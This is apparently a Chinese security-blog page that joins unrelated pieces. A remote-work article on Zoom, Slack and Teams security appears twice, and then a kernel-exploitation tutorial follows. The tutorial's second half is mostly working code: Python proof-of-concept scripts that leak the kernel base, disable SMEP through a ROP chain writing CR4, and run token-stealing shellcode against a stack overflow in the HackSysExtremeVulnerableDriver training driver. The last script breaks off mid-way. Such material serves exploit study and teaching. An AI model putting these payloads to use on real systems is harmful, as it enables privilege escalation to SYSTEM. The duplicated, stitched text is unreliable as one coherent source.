01.png

Zoom是一款多人手机云视频会议软件,为用户提供兼备高清视频会议与移动网络会议功能的免费云视频通话服务。用户可通过手机、平板电脑、PC与工作伙伴进行多人视频及语音通话、屏幕分享、会议预约管理等商务沟通。

slack (聊天群组)是聊天群组 + 大规模工具集成 + 文件整合 + 统一搜索。截至2014年底,Slack 已经整合了电子邮件、短信、Google Drives、Twitter、Trello、Asana、GitHub 等 65 种工具和服务,可以把各种碎片化的企业沟通和协作集中到一起。

由于当前冠状病毒大流行,远程办公已成为不可逆转的趋势,有网络安全研究机构最近发布了有关如何 “安全远程办公”的报告,其中说明了可能导致终端和公司网络被攻击的常见错误。在这篇文章中,我们列举了一些流行的远程办公软件,并强调一些需要注意的隐私和安全问题。

保护Slack和微软团队免受恶意行为者的攻击

Slack和微软团队等工作场所聊天应用每天的用户可能超过6000万,随着冠状病毒的流行迫使大多数企业尽可能地转移到远程办公,目前这两个平台的用户都出现了增长。这类应用程序在当今的数字化、分布式工作环境中至关重要,但是CISO和安全团队需要意识到使用此类软件的安全隐患。

对于旨在攻击计算机的攻击者来说,窃取用户的全部Slack工作空间、聊天消息、文件和历史记录都比较简单。更糟糕的是,攻击者可以通过窃取用户计算机上存储的会话Cookie来获得当前对工作区的访问权限。正如研究人员本月早些时候指出的那样,攻击者在Mac上要做的所有工作都是复制整个目录,该目录位于~/Library/Application Support/Slack或使用App Store版本的沙盒化的~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack。在Windows上,可以在%AppData%\Roaming\Slack中找到相同的数据。

1.jpg

获得数据后,攻击者可以启动一个虚拟机实例,安装Slack应用程序,并将窃取的数据复制到VM上的相同位置(用户名不必相同)。然后,启动Slack将使攻击者登录用户的工作区,并为他们提供完整的实时访问权限。尽管此活动将记录在服务器端的工作区“访问日志”中,但除非攻击者主动尝试在工作区中模拟用户,否则它对用户而言并不明显。

由于用户计算机上的Slack数据会暴露给以登录用户身份运行的任何未沙盒化进程,因此恶意应用可能会在受害者不知情的情况下泄露这些数据。

尽管Slack的开发人员已经意识到了这个问题,但它们的官方回应是,这对他们而言目前不是紧迫的问题,因此安全团队将需要采取自己的步骤来确保公司的工作区是否安全。首先,要确保所有公司设备都有一个良好的EDR解决方案,以防止恶意软件从一开始就感染系统。其次,要求用户和IT管理员定期退出其他设备。根据你的工作空间设置,需要也可能不需要密码。

2.jpg

第三,与所有受密码保护的帐户一样,提醒用户定期更改密码并为Slack设置双因素身份验证。使用像Slack这样的工作平台,更改密码很容易被忽视。工作区所有者和用户可以查看访问日志,以检查是否有任何未知的设备已经登录到帐户中。

3.jpg

微软团队的应用,Slack的主要竞争对手,在过去的9到10个月里也面临着安全问题。去年6月,该团队的Windows桌面应用程序被发现容易受到依赖项Squirrel框架的漏洞的攻击,该框架可能允许任意代码执行、恶意下载和权限升级。去年9月,研究人员发现团队应用程序容易受到跨站点脚本(XSS)和客户端模板注入的攻击。目前,这些漏洞已在Teams.app的最新更新中得到解决,因此IT管理员确保用户及时更新这些应用程序至关重要。

无论使用哪种平台,请确保对于重要会议都制定了备份计划。微软团队在2月份曾发生过一次3小时的宕机,原因是微软竟然忘记了更新一个重要的安全证书。这对微软来说是一次相当尴尬的故障,毕竟该公司还开发并销售用于监控安全证书过期之类的工具,以便这类问题根本不会发生。无论如何,微软肯定会进行一番彻底的调查,以确保这种情况不再发生。Microsoft Teams目前正与Slack Technologies Inc.展开较量,以赢得企业用户的青睐,而像这种本可以阻止的故障势必不会给它帮忙。

我们的在线数字世界可能比以往任何时候都更容易受到攻击,如果服务不可用,则可能需要从电子邮件到电话的常规通信渠道进入服务。这些,尤其是电子邮件,当然也面临着自身的安全挑战,包括网络钓鱼和SIM交换。

使用视频会议软件时的安全性和隐私

Zoom和Skype是举行从小型团队到数万人的会议的好方法,但这些应用程序也涉及安全和隐私问题。

首先,确保你自己的身体空间适合开会。上一两周的社交媒体令人不寒而栗,他们的照片让人有些尴尬,他们在家中从事工作而又不考虑周围环境。从配偶穿着内衣走来走去,到一名员工在电话会议中将智能手机带到浴室后不经意间透露了比同事想要看到的更多东西,始终确保你的环境可以是工作的。

以下是一些个人经验:向后看并检查相机可以看到的内容,当你在工作的时候,一定要让你的家人和和你住在一起的人知道。无论是狂吠的狗还是家庭争吵,不必要的背景噪音都会让其他与会者感到不安和尴尬。另外,在屏幕共享时要小心。确保没有应用程序、图像或视频可见,可能属于不安全工作(NSFW)类别,或可能暴露个人或机密的业务数据。检查浏览器顶部栏中哪些标签是可见的,以及你是否会不小心泄露你最近访问过的网站。

其次,了解你所使用的软件的隐私政策和特性。Zoom有一些有趣的功能,比如注意力跟踪和一些关于数据收集和共享的“应该知道”政策。

关于安全性,视频会议软件需要注意许多问题,特别是如果你要像新手一样使用Zoom的话。值得在这里查看Zoom的有用指南,以获取有关如何防止“ Zoom pirates”和“ Zoom bombing”之类的基本提示的技巧,在这种情况下,不需要的参与者通过公开或猜测的会议ID加入通话并通过共享屏幕上的图像来接管会议。作为主持人,你可以管理参与者,并通过正确配置帐户设置来确保不会失去对会议的控制权。开启2FA并要求使用授权的电子邮件地址是任何内部会议的基本预防措施。

4.jpg

除了将会议程序锁定在授权的参与者之外,还有其他选项可用于允许你未经许可限制屏幕共享,从Zoom会议中删除不需要的或破坏性的参与者,使参与者静音或关闭其视频。其他电话会议软件应具有类似的设置,因此,如有必要,请检查文档,并确保你知道如何控制意外事件。

确保会议不受电话外人员的影响也很重要。客户经理应确保启用端到端加密,以防止流量监听,尤其是在远程工作人员从公司安全VPN网络外部连接到会议的情况下。

请记住,任何与会者都可以录制视频会议,这会带来保密性和泄露性问题。记录存储在本地用户设备上。例如,使用Zoom可以在Mac上的〜/ Documents / Zoom和Windows上的\ Users / Users \ Documents \ Zoom中找到它们。如果该设备受到攻击,则这些记录很容易被泄漏和利用。勒索和暴露受害者是一种在某些攻击者中越来越受欢迎的技术,例如勒索软件开发人员Maze和DoppelPaymer。

Maze勒索软件这种恶意软件背后的团伙会将一种类似的威胁坚持到底,在公共互联网上建立了一个网站,列出了那些不交赎金受害者的名字,并附上从决定不支付赎金的受害者那里窃取的敏感文件的样本。

DoppelPaymer勒索软件的运营商启动了一个站点,他们将使用该站点用来羞辱那些不支付赎金的受害者,并发布在加密受害者计算机之前盗取的所有文件。

这是由Maze 勒索软件启动的一种新的勒索方法,在加密文件之前先窃取文件,然后利用它们作为使受害者支付赎金的手段之一。

如果受害者没有支付赎金,则勒索软件运营商会在公共“新闻”站点上释放被盗文件,让受害者面临数据泄露带来的威胁:政府罚款、诉讼以及网络攻击。

Maze 采取这种策略后不久,其他勒索软件家族(包括Sodinokibi,Nemty和 DoppelPaymer)也开始了这种做法。

今年早些时候,研究人员发现Zoom有一个漏洞,可以找出哪些随机数是有效的Zoom调用。然后,研究人员便可以使用这些号码进行电话监听。这一漏洞是在Zoom和其他一些视频会议应用程序被发现包含一个软件漏洞后不久发现的,该漏洞可能导致任何macOS设备上的远程命令执行(RCE),即使Zoom应用程序已经被卸载。在这种情况下,苹果迅速采取行动,更新了自己的内部安全软件,以消除漏洞。目前,这两个漏洞都在Zoom的最新版本中得到了修补。

与工作场所聊天应用程序一样,远程会议软件也是如此,确保在更新可用后立即对用户进行修补,并确保端点受到安全平台的保护,该平台可以防御恶意软件、恶意设备和网络入侵。

总结

众所周知,所有的软件都有缺陷。且大多数漏洞都是琐碎的,从来没有被用户注意到,有些是零日漏洞,直到他们被野外修补或利用后,我们才知道。而另一些则是关键的,我们会及时进行修补。不过在两个漏洞之间还存在另一类漏洞,就是开发人员已被告知,但漏洞仍未得到解决,这可能是因为供应商不同意安全风险的严重性,或者认为这不是他们要解决的错误,或者供应商根本找不到技术解决方案。最重要的是,一些安全和隐私问题不是由程序缺陷引起的,而是由我们使用这些程序的方式引起的,例如在电话会议中不了解我们的运行环境。

01.png

Zoom是一款多人手机云视频会议软件,为用户提供兼备高清视频会议与移动网络会议功能的免费云视频通话服务。用户可通过手机、平板电脑、PC与工作伙伴进行多人视频及语音通话、屏幕分享、会议预约管理等商务沟通。

slack (聊天群组)是聊天群组 + 大规模工具集成 + 文件整合 + 统一搜索。截至2014年底,Slack 已经整合了电子邮件、短信、Google Drives、Twitter、Trello、Asana、GitHub 等 65 种工具和服务,可以把各种碎片化的企业沟通和协作集中到一起。

由于当前冠状病毒大流行,远程办公已成为不可逆转的趋势,有网络安全研究机构最近发布了有关如何 “安全远程办公”的报告,其中说明了可能导致终端和公司网络被攻击的常见错误。在这篇文章中,我们列举了一些流行的远程办公软件,并强调一些需要注意的隐私和安全问题。

保护Slack和微软团队免受恶意行为者的攻击

Slack和微软团队等工作场所聊天应用每天的用户可能超过6000万,随着冠状病毒的流行迫使大多数企业尽可能地转移到远程办公,目前这两个平台的用户都出现了增长。这类应用程序在当今的数字化、分布式工作环境中至关重要,但是CISO和安全团队需要意识到使用此类软件的安全隐患。

对于旨在攻击计算机的攻击者来说,窃取用户的全部Slack工作空间、聊天消息、文件和历史记录都比较简单。更糟糕的是,攻击者可以通过窃取用户计算机上存储的会话Cookie来获得当前对工作区的访问权限。正如研究人员本月早些时候指出的那样,攻击者在Mac上要做的所有工作都是复制整个目录,该目录位于~/Library/Application Support/Slack或使用App Store版本的沙盒化的~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack。在Windows上,可以在%AppData%\Roaming\Slack中找到相同的数据。

1.jpg

获得数据后,攻击者可以启动一个虚拟机实例,安装Slack应用程序,并将窃取的数据复制到VM上的相同位置(用户名不必相同)。然后,启动Slack将使攻击者登录用户的工作区,并为他们提供完整的实时访问权限。尽管此活动将记录在服务器端的工作区“访问日志”中,但除非攻击者主动尝试在工作区中模拟用户,否则它对用户而言并不明显。

由于用户计算机上的Slack数据会暴露给以登录用户身份运行的任何未沙盒化进程,因此恶意应用可能会在受害者不知情的情况下泄露这些数据。

尽管Slack的开发人员已经意识到了这个问题,但它们的官方回应是,这对他们而言目前不是紧迫的问题,因此安全团队将需要采取自己的步骤来确保公司的工作区是否安全。首先,要确保所有公司设备都有一个良好的EDR解决方案,以防止恶意软件从一开始就感染系统。其次,要求用户和IT管理员定期退出其他设备。根据你的工作空间设置,需要也可能不需要密码。

2.jpg

第三,与所有受密码保护的帐户一样,提醒用户定期更改密码并为Slack设置双因素身份验证。使用像Slack这样的工作平台,更改密码很容易被忽视。工作区所有者和用户可以查看访问日志,以检查是否有任何未知的设备已经登录到帐户中。

3.jpg

微软团队的应用,Slack的主要竞争对手,在过去的9到10个月里也面临着安全问题。去年6月,该团队的Windows桌面应用程序被发现容易受到依赖项Squirrel框架的漏洞的攻击,该框架可能允许任意代码执行、恶意下载和权限升级。去年9月,研究人员发现团队应用程序容易受到跨站点脚本(XSS)和客户端模板注入的攻击。目前,这些漏洞已在Teams.app的最新更新中得到解决,因此IT管理员确保用户及时更新这些应用程序至关重要。

无论使用哪种平台,请确保对于重要会议都制定了备份计划。微软团队在2月份曾发生过一次3小时的宕机,原因是微软竟然忘记了更新一个重要的安全证书。这对微软来说是一次相当尴尬的故障,毕竟该公司还开发并销售用于监控安全证书过期之类的工具,以便这类问题根本不会发生。无论如何,微软肯定会进行一番彻底的调查,以确保这种情况不再发生。Microsoft Teams目前正与Slack Technologies Inc.展开较量,以赢得企业用户的青睐,而像这种本可以阻止的故障势必不会给它帮忙。

我们的在线数字世界可能比以往任何时候都更容易受到攻击,如果服务不可用,则可能需要从电子邮件到电话的常规通信渠道进入服务。这些,尤其是电子邮件,当然也面临着自身的安全挑战,包括网络钓鱼和SIM交换。

使用视频会议软件时的安全性和隐私

Zoom和Skype是举行从小型团队到数万人的会议的好方法,但这些应用程序也涉及安全和隐私问题。

首先,确保你自己的身体空间适合开会。上一两周的社交媒体令人不寒而栗,他们的照片让人有些尴尬,他们在家中从事工作而又不考虑周围环境。从配偶穿着内衣走来走去,到一名员工在电话会议中将智能手机带到浴室后不经意间透露了比同事想要看到的更多东西,始终确保你的环境可以是工作的。

以下是一些个人经验:向后看并检查相机可以看到的内容,当你在工作的时候,一定要让你的家人和和你住在一起的人知道。无论是狂吠的狗还是家庭争吵,不必要的背景噪音都会让其他与会者感到不安和尴尬。另外,在屏幕共享时要小心。确保没有应用程序、图像或视频可见,可能属于不安全工作(NSFW)类别,或可能暴露个人或机密的业务数据。检查浏览器顶部栏中哪些标签是可见的,以及你是否会不小心泄露你最近访问过的网站。

其次,了解你所使用的软件的隐私政策和特性。Zoom有一些有趣的功能,比如注意力跟踪和一些关于数据收集和共享的“应该知道”政策。

关于安全性,视频会议软件需要注意许多问题,特别是如果你要像新手一样使用Zoom的话。值得在这里查看Zoom的有用指南,以获取有关如何防止“ Zoom pirates”和“ Zoom bombing”之类的基本提示的技巧,在这种情况下,不需要的参与者通过公开或猜测的会议ID加入通话并通过共享屏幕上的图像来接管会议。作为主持人,你可以管理参与者,并通过正确配置帐户设置来确保不会失去对会议的控制权。开启2FA并要求使用授权的电子邮件地址是任何内部会议的基本预防措施。

4.jpg

除了将会议程序锁定在授权的参与者之外,还有其他选项可用于允许你未经许可限制屏幕共享,从Zoom会议中删除不需要的或破坏性的参与者,使参与者静音或关闭其视频。其他电话会议软件应具有类似的设置,因此,如有必要,请检查文档,并确保你知道如何控制意外事件。

确保会议不受电话外人员的影响也很重要。客户经理应确保启用端到端加密,以防止流量监听,尤其是在远程工作人员从公司安全VPN网络外部连接到会议的情况下。

请记住,任何与会者都可以录制视频会议,这会带来保密性和泄露性问题。记录存储在本地用户设备上。例如,使用Zoom可以在Mac上的〜/ Documents / Zoom和Windows上的\ Users / Users \ Documents \ Zoom中找到它们。如果该设备受到攻击,则这些记录很容易被泄漏和利用。勒索和暴露受害者是一种在某些攻击者中越来越受欢迎的技术,例如勒索软件开发人员Maze和DoppelPaymer。

Maze勒索软件这种恶意软件背后的团伙会将一种类似的威胁坚持到底,在公共互联网上建立了一个网站,列出了那些不交赎金受害者的名字,并附上从决定不支付赎金的受害者那里窃取的敏感文件的样本。

DoppelPaymer勒索软件的运营商启动了一个站点,他们将使用该站点用来羞辱那些不支付赎金的受害者,并发布在加密受害者计算机之前盗取的所有文件。

这是由Maze 勒索软件启动的一种新的勒索方法,在加密文件之前先窃取文件,然后利用它们作为使受害者支付赎金的手段之一。

如果受害者没有支付赎金,则勒索软件运营商会在公共“新闻”站点上释放被盗文件,让受害者面临数据泄露带来的威胁:政府罚款、诉讼以及网络攻击。

Maze 采取这种策略后不久,其他勒索软件家族(包括Sodinokibi,Nemty和 DoppelPaymer)也开始了这种做法。

今年早些时候,研究人员发现Zoom有一个漏洞,可以找出哪些随机数是有效的Zoom调用。然后,研究人员便可以使用这些号码进行电话监听。这一漏洞是在Zoom和其他一些视频会议应用程序被发现包含一个软件漏洞后不久发现的,该漏洞可能导致任何macOS设备上的远程命令执行(RCE),即使Zoom应用程序已经被卸载。在这种情况下,苹果迅速采取行动,更新了自己的内部安全软件,以消除漏洞。目前,这两个漏洞都在Zoom的最新版本中得到了修补。

与工作场所聊天应用程序一样,远程会议软件也是如此,确保在更新可用后立即对用户进行修补,并确保端点受到安全平台的保护,该平台可以防御恶意软件、恶意设备和网络入侵。

总结

众所周知,所有的软件都有缺陷。且大多数漏洞都是琐碎的,从来没有被用户注意到,有些是零日漏洞,直到他们被野外修补或利用后,我们才知道。而另一些则是关键的,我们会及时进行修补。不过在两个漏洞之间还存在另一类漏洞,就是开发人员已被告知,但漏洞仍未得到解决,这可能是因为供应商不同意安全风险的严重性,或者认为这不是他们要解决的错误,或者供应商根本找不到技术解决方案。最重要的是,一些安全和隐私问题不是由程序缺陷引起的,而是由我们使用这些程序的方式引起的,例如在电话会议中不了解我们的运行环境。

Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(上)

SMEP

23.png

什么是SMEP? SMEP或Supervisor模式执行保护是最早在Windows 8(在Windows上下文中)中实现的保护。当我们谈论为内核漏洞利用执行代码时,最常见的技术是在用户模式下分配shellcode并从内核调用它。这意味着将在内核上下文中调用用户模式代码,从而为我们提供获得系统特权的适用权限。

SMEP是一种预防措施,不允许我们从环0开始执行存储在环3页面中的代码,通常从更高的环执行代码。这意味着我们无法从内核模式执行用户模式代码。为了绕过SMEP,让我们了解其实现方式。

SMEP策略通过CR4寄存器执行,根据英特尔的说法,CR4寄存器是控制寄存器。该寄存器中的每一位负责在系统上启用的各种功能。 CR4寄存器的第20位负责启用SMEP,如果CR4寄存器的第20位被设置为1,那么就启用了SMEP。当位被设置为0时,SMEP被禁用。让我们来看看Windows上的CR4寄存器,其中SMEP以正常的十六进制格式和二进制格式启用,因此我们可以真正看到第20位的位置。

r cr4

24.png

CR4寄存器的十六进制值为0x00000000001506f8,让我们以二进制形式查看它,以便我们可以看到第20位在哪里。

.formats cr4

25.png

如你所见,第20位在上图中(从右数起) 。让我们再次使用.formats命令来查看CR4寄存器中的值是什么,以便绕过SMEP。

26.png

从上面的图中可以看出,当CR4寄存器的第20位被翻转时,十六进制的值是0x00000000000506f8。

在介绍如何使用上述信息通过ROP绕过SMEP之前,让我们进一步讨论一下SMEP实现和其他潜在绕过的问题。

SMEP还可以通过内存页的页表条目(PTE)以“标志”的形式实现,回想一下,页表包含有关物理内存映射到虚拟内存的信息。内存页的PTE具有与之关联的各种标志,其中两个标志是U,表示用户模式,或者S,表示管理模式(内核模式)。当所述内存被内存管理单元(MMU)访问时,将检查此标志。在继续之前,让我们先讨论一下CPU模式。环3负责用户模式的应用程序代码,环0负责操作系统级代码(内核模式)。CPU可以根据执行的内容转换当前的特权级别(CPL)。不过,我不会深入讨论在CPU更改CPL时发生的syscalls、sysrets或其他各种例程的底层细节。另外这也不是一篇关于分页如何工作的内容,如果你有兴趣了解更多信息,我强烈建议你阅读Enrico Martignetti的《What Makes It Page: the Windows 7 (x64) Virtual Memory Manager》一书。虽然这是有关Windows 7环境的,但我相信这些概念在今天仍然适用。我给出这个背景信息,因为SMEP绕过可能会滥用这个功能。

为什么提起这个?尽管我们将介绍如何通过ROP进行SMEP绕过,但还有另一种情况需要考虑。假设我们有一个任意的读写原语。撇开PTE暂时随机的事实。如果你有一个读取原语来了解Shellcode内存页的PTE在哪里,该怎么办?绕过SMEP的另一种潜在的方法是不禁用SMEP。我们可能会使用读取原语来定位用户模式的shellcode页面,然后使用写入原语来覆盖我们的shellcode的PTE,并将U(用户模式)标志翻转为S(主管模式)标志!这样,尽管该特定地址是“用户模式地址”,但在执行该特定地址时,由于该页面的权限现在是内核模式页面的权限,因此它仍被执行。

虽然页面表条目现在是随机的,但是来自进攻性安全组织的Morten Schenk在这篇文章中谈到了对页表项进行非随机化处理。

简单来说,其步骤如下:

1. 获得读/写原始;

2. 泄漏ntoskrnl.exe(内核基);

3. 定位MiGetPteAddress()(可以动态完成,而不是静态偏移);

4. 使用PTE base获取任何内存页的PTE;

5. 更改位(是否正在将shellcode复制到页面并翻转NX位或翻转用户模式页面的U/S位)。

同样,在我对Windows中的内存分页做了更多的研究之前,我不会讨论这种绕过SMEP的方法。有关我对今后其他SMEP绕过技术的想法,请参阅此文的结尾。

绕过SMEP

让我们使用一个溢出来介绍如何用ROP绕过SMEP,ROP假设我们可以控制堆栈(当每个ROP小工具返回到堆栈时)。由于启用了SMEP,我们的ROP小工具将需要来自内核模式页面。因为我们在这里假设了中等完整性,所以我们可以调用EnumDeviceDrivers()来获得内核基,它可以绕过KASLR。

基本上,以下就是ROP链是工作的整个过程。

27.png

让我们去寻找这些ROP小工具吧,注意,ROP小工具的所有偏移量将根据操作系统、补丁级别等而变化。请记住,这些ROP小工具需要是内核模式地址。我们将使用rp++枚举ntoskrnl.exe中的rop小工具。如果你看一下我关于ROP的文章,你就会知道如何使用这个工具。

让我们找出一种方法来控制CR4寄存器的内容,虽然我们可能无法直接操作寄存器的内容,但是我们可以将可以控制的寄存器的内容移动到CR4寄存器中。回想一下pop < reg >操作将获取堆栈上下一项的内容,并将其存储在pop行动。让我们记住这一点。

使用rp ++,我们在ntoskrnl.exe中找到了一个不错的ROP小工具,它使我们可以将CR4的内容存储在ecx寄存器(RCX寄存器的“第二” 32位)中。

28.png

如你所见,此ROP小工具位于0x140108552。但是,由于这是内核模式地址,因此rp ++(来自usermode且未以管理员身份运行)不会提供此地址的完整地址。但是,如果删除前3个字节,则“地址”的其余部分实际上是相对于内核库的偏移量,这意味着该ROP小工具位于ntoskrnl.exe + 0x108552。

29.png

太棒了! rp ++的枚举有点错误,rp ++表示我们可以将ECX放入CR4寄存器。但是,经过进一步检查,我们可以看到该ROP小工具实际上指向了mov cr4, rcx指令。这对于我们的用例来说是完美的!我们有一种方法可以将RCX寄存器的内容移动到CR4寄存器中。你可能会问:“好吧,我们可以通过RCX寄存器控制CR4寄存器,但是这对我们有什么帮助呢?”回想一下我之前的文章中ROP的一个特性。只要我们有一个不错的ROP小工具,可以执行所需的操作,但是该小工具中出现不必要的弹出声,我们就使用NOP的填充数据,这是因为我们只是简单地将数据放置在寄存器中而没有执行它。

同样的原则在这里适用,如果我们可以将预期的标志值弹出到RCX中,则应该没有问题。如前所述,我们预期的CR4寄存器值应为0x506f8。

假设rp ++是对的,因为我们只能控制ECX寄存器而不是RCX的内容,这会影响我们吗?但是,请回想一下寄存器如何在这里工作。

30.png

这意味着,即使RCX包含0x00000000000506f8,一个mov cr4, ecx将采取较低的32位的RCX(即ecx),并把它放入cr4寄存器。这将意味着ECX等于0x000506f8-,并且该值最终会出现在CR4中。因此,即使理论上我们会同时使用RCX和ECX,由于缺少pop ecx ROP小工具,我们也不会受到影响!

现在,让我们继续控制RCX寄存器,让我们找到一个流行的rcx小工具!

31.png

好了!我们在ntoskrnl.exe + 0x3544处有一个ROP小工具。让我们用用户模式shellcode所在的一些断点来更新我们的POC,以验证我们是否可以使用我们的shellcode。这个POC处理语义,例如查找要覆盖的ret指令的偏移量等等。

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\xCC" * 50
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = "\x41" * 2056
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                    # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

现在,让我们来看看WinDbg。

正如你所看到的,我们已经找到了要覆盖的目标。

33.png

在逐步执行之前,让我们先查看调用堆栈,以查看执行将如何进行。

k

34.png

如果你在查看上面的图像时遇到了问题,请在一个新选项卡中打开它。

为了更好地理解调用堆栈的输出,列调用站点将是执行的内存地址。RetAddr列是调用站点地址完成后返回到的位置。

可以看到,被破坏的ret位于HEVD!TriggerStackOverflow+0xc8。这时,我们将返回到0xfffff80302c82544,或AuthzBasepRemoveSecurityAttributeValueFromLists+0x70。RetAddr列中的下一个值是CR4寄存器的预期值,即0x00000000000506f8。

回想一下,ret指令会将RSP加载到RIP中。因此,由于我们预期的CR4值位于堆栈上,所以从技术上讲,我们的第一个ROP小工具将“返回”到0x00000000000506f8。然而,pop rcx将从堆栈中取出该值并将其放入rcx中。这意味着我们不必担心返回到那个值,它不是有效的内存地址。

在pop rcx ROP小工具的ret之后,我们将跳到下一个ROP小工具,mov cr4, rcx,它将把rcx加载到cr4。这个ROP小工具位于0xfffff80302d87552,或者KiFlushCurrentTbWorker+0x12。最后,我们将用户模式代码放在0x0000000000b70000。

在完成易受攻击的ret指令之后,我们看到我们找到的第一个ROP小工具。

35.png

此时,预期的CR4值会插入到RCX中。

36.png

此时,我们应该会看到下一个ROP小工具,它将把RCX(禁用SMEP所需的值)移动到CR4中。

374.png

此时,我们就可以禁用SMEP了!

38.png

正如你所看到的,在我们的ROP小工具被执行之后,我们触发了断点(shellcode的占位符,以验证SMEP已禁用)!

39.png

这意味着我们已经成功地禁用了SMEP,并且我们可以执行usermode shellcode! 让我们通过有效的POC最终确定此漏洞利用。现在,我们将合并有效载荷概念和漏洞利用!让我们用武器化的Shellcode更新脚本!

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
    "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
    "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
    "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
    "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
    "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
    "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
    "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
    "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
    "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
    "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
    "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
    "\xC3"                                              # ret                 ; Done!
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = ("\x41" * 2056)
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
